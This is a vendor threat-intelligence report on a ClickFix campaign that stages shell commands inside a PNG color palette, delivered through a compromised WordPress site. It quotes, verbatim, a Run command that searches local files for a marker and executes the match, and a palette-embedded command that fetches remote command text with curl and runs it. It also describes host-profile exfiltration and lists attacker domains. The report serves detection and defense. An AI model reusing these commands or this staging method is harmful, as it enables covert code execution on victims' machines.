Key findings
- Two customer workstations recorded a URL-free ClickFix command in Windows Run history. It searched local files for a marker; successful extraction and execution were not confirmed.
- Follow-up analysis recovered a browser-fetched PNG containing readable shell commands in its color palette.
- The compromised WordPress site’s loader fingerprinted visitors and completed proof of work before displaying a fake Cloudflare prompt.
- Five responses across four captures contained identical PNGs. Separate deliveries exposed direct-download commands and host profiling, without establishing a continuous PNG-to-C2 chain.
- Vega’s library includes detections for suspicious RunMRU writes, local search-and-execute patterns, and delayed-expansion command reconstruction, independent of specific hashes or domains.
In early September 2026, Vega investigated a ClickFix incident affecting two customer workstations. Both users visited the same compromised WordPress website, encountered a fake Cloudflare verification prompt, and pasted an attacker-supplied command into Windows Run. Unlike typical ClickFix commands, the pasted instruction contained no download URL or PowerShell invocation. Instead, it searched locally stored files for a specific marker and attempted to execute matching content through cmd.exe.
Follow-up analysis uncovered an unusual staging technique: a PNG image containing an executable shell command embedded directly in its color palette. The image was fetched by the browser in the background, while the separately delivered ClickFix command could search locally cached content to locate and execute embedded instructions. This approach separates payload staging from execution and keeps the remote download destination out of the initial Run command.
The investigation confirmed delivery of identical PNG carriers across multiple captures and identified visitor fingerprinting, selective delivery, and alternative clipboard commands. However, the exact cache object associated with the customer incident was not recovered, and discrepancies between the recorded Run command and the recovered PNG prevent a definitive reconstruction of that execution chain.
Compromised WordPress site and visitor gating
The attack began when users visited a compromised WordPress website serving a malicious JavaScript loader. In the recovered captures, the loader was delivered either through the website’s /asset-cache/ path or directly from external attacker-controlled infrastructure.
The loader also communicated with gating endpoints through the compromised site’s domain or external servers. It remains unclear whether the same-origin endpoints were hosted locally or reverse-proxied to an external backend.
Before displaying the lure, the loader collected browser fingerprints and traffic information, including automation indicators, browser properties, and rendering characteristics. It also completed a proof-of-work challenge issued by the gate. These checks supported selective delivery: accepted visitors received the data needed to display a counterfeit Cloudflare verification prompt and retrieve an attacker-supplied clipboard command.
The gate’s filtering criteria could not be determined, although one capture showed a rejected same-origin session alongside accepted sessions through external gates.
ClickFix delivery and browser-based staging
Visitors who passed the verification checks were presented with a counterfeit Cloudflare verification page instructing them to open Windows Run, paste the clipboard contents, and execute the command.
The page displayed a Cloudflare logo embedded as base64 image data. Separately, the JavaScript loader retrieved a PNG carrier in the background before the verification click. This allowed the command-bearing image to be delivered through normal browser traffic before the user initiated execution.
The recovered responses included long-lived cache headers, supporting the intended use of browser-cached content for staging. However, the network captures alone do not establish that a particular browser retained the PNG in a locally searchable cache file.
A Run command without a download URL
The customer investigation identified the following command in the Windows RunMRU registry history:
cmd /c @for /r "%LOCALAPPDATA%" %f in (*) do @if %~zf gtr 400000 @for /f "delims=" %x in ('findstr "sSJ105" "%f"') do start "" /min cmd /v:on /c %xRather than downloading a script directly, the command recursively searches %LOCALAPPDATA% for files larger than 400,000 bytes. For each qualifying file, findstr searches for the marker sSJ105. Any matching line is passed to a minimized cmd.exe process with delayed variable expansion enabled.
This is the defining characteristic of the technique. The initial Run command does not need to reference an external server because the instructions for retrieving additional content can reside inside data already fetched by the browser.
The search also does not target a specific browser-cache directory. It examines files throughout the local application-data directory, potentially locating matching content within browser caches or other locally stored application data.
A previously documented ClickFix variant selected cached content by file size before executing a recovered script. The customer command here used a marker search. The available evidence does not establish a connection between the operations.
Hiding a shell command inside a PNG palette
While the exact image associated with the original customer incident was not recovered, follow-up analysis identified a PNG carrier illustrating this staging mechanism. The 711 × 700 indexed-color image, measuring 164,776 bytes, contained executable shell instructions concealed within its color palette.
SHA-256: 37d5e6f1f6fb300dd588a65aaf18e86ff41e7ba217e4d992d372fa9b01d4d737Indexed-color PNG files use a PLTE chunk to store palette entries. In the recovered file, this chunk also contained a readable Windows shell command:
set "D=echo." & ( for /F "delims=" %l in ('curl https://www.goli-vawes.com/dfoiughyy3498ti.pdf') do set "D=!D! & %l" ) & cmd.exe /v:on /c !D! & echo "So119G"With the required shell expansion state, the embedded command uses curl to retrieve text from a PDF-named URL at goli-vawes[.]com. It combines the returned lines into a command string and executes them through cmd.exe. The trailing So119G marker provides a distinctive value that a corresponding local search could use to identify the embedded text.
The embedded command treats the .pdf URL as a source of command text. No request to this destination was observed in the reviewed captures, leaving the response content and any subsequent payload unknown.
The technique does not depend on decoding image pixels or decrypting hidden data. The shell command is stored as readable text within the PNG’s palette bytes. Displaying the image does not trigger execution; a separate extraction and execution step is required.
The original PNG also contained an invalid PLTE checksum, although the other checked chunks passed validation. The checksum was repaired solely to render the illustration, while the original file was retained for hashing and analysis.
The customer command searched for sSJ105 in files larger than 400,000 bytes, whereas the recovered PNG contained So119G and measured 164,776 bytes. Cache metadata can affect entry size, but without the customer’s cache object these differences remain unresolved.
Reuse of the PNG carrier across deliveries
The recovered PNG was not limited to a single observed delivery. Five reconstructed HTTP response bodies across four captures contained byte-identical copies of the image, connecting delivery through the compromised website’s same-origin path to multiple external endpoints.
Both /ci and /ci.php delivered PNG content despite their differing path extensions.
Additional screenshots from guiglen[.]sbs showed a PNG containing the same embedded goli-vawes command and So119G marker, although an exact file-hash match could not be established.
These observations demonstrate reuse of the carrier and delivery mechanism across several captured sessions. They do not, by themselves, establish a common operator or identify the final payload.
Alternative delivery methods and related activity
The broader investigation also identified alternative command-delivery methods and additional post-download activity. These findings help characterize the infrastructure, but their relationship to execution of the recovered PNG remains unconfirmed.
Direct-download clipboard commands
The PNG was observed alongside clipboard commands referencing apiflow7067[.]com, microjob1593[.]com, and syncsign8551[.]com.
In one swewart[.]sbs sandbox capture, the supplied clipboard command initiated a batch-script download from syncsign8551[.]com, followed by a request for an archive whose response was not recovered.
This represents a separate delivery path from the command embedded inside the PNG. The syncsign request originated from the clipboard command, whereas the PNG contained a reference to goli-vawes[.]com. Their appearance in related captures does not establish that PNG extraction caused the syncsign download.
Host discovery and server-directed execution
A separate capture revealed additional functionality involving host discovery and the retrieval of potential follow-on commands.
A request to www.xols-qojze[.]com/4i3uwerngleriugbsd.pdf returned a 308-byte Windows batch script rather than a PDF document.
The script executed systeminfo, combined the output into a variable using double-semicolon delimiters, and transmitted the resulting 2,596-byte host profile to:
saf.xols-qojze[.]com/HTlsm1s9o8yPjN02W7ZX
The transmitted information included the hostname, operating-system version, hardware details, installed hotfixes, and network configuration.
The script could also process commands returned by the server. It was designed to append response lines to a command accumulator and execute the resulting text through cmd.exe, creating a mechanism for additional automated execution or operator-directed instructions.
In the observed exchange, however, the server returned HTTP 404 with an empty body. No subsequent instructions, payload execution, or hands-on-keyboard activity were observed.
Because the preceding lure and carrier were not recovered from this capture, this discovery stage cannot be conclusively identified as a continuation of the PNG-based attack chain.
Infrastructure evolution and additional pivots
The recovered captures showed variations in the loader and delivery infrastructure while preserving several common mechanisms, including fingerprinting, proof-of-work verification, encoded overlays, and retrieval of clipboard commands.
A September 21 capture reused yelahaye[.]surf alongside rooinson[.]icu, with modified API paths and an additional verification widget retrieved from robertsoe[.]lol. The overlay also polled a completion flag that caused the page to display a successful verification message. That flag did not establish whether the user had executed the clipboard command.
Matching command tokens connected the later gates to batch-script retrieval from portaltrust8347[.]com. Earlier activity in the same capture included binary downloads and network exchanges consistent with agent handshakes, beacons, acknowledgements, and results. However, the initiating lure was not recovered, and no matching PNG was observed. This activity therefore extends the evidence for alternative delivery paths rather than completing the PNG extraction chain.
Additional infrastructure pivots identified external loader references, including aatthews[.]cfd/v87l32x7.js, and historical associations involving yelahaye[.]surf and 46.29.26[.]20. These findings provide leads for further investigation, but the underlying historical records have not been independently validated. Shared hosting, similar HTTP responses, and overlapping infrastructure alone are insufficient to establish common ownership or operation.
How Vega customers are protected
The lesson for defenders is to detect the local search-and-execute behavior behind cache smuggling rather than rely on download URLs, domains, or known file hashes alone.
Vega’s detection library covers the behaviors observed in this investigation:
- ClickFix RunMRU Registry Write with Suspicious Command: Identifies suspicious commands recorded in Windows Run history, including URL-free commands that search local application data for embedded content.
- ClickFix Steganographic Payload Extraction via LOCALAPPDATA Walk: Detects recursive searches using for /r and findstr combined with execution-related commands, matching the customer’s recorded extraction attempt.
- CMD Delayed Expansion String Reconstruction: Identifies command lines combining /v:on, short-variable reconstruction, and download utilities, as demonstrated by the command concealed within the recovered PNG.
These detections focus on executable behavior, not the PNG hash or the infrastructure’s domains, and they require endpoint telemetry with the relevant detections enabled.
Conclusion
The recovered PNG demonstrates how readable shell instructions can be concealed in image palette data and staged through ordinary browser traffic. The customer command illustrates the corresponding local-search approach, although the missing cache object prevents a direct match. Vega’s detections key on that search-and-execute behavior rather than the image hash or the domains, so customers remain covered when the Run command carries nothing to block.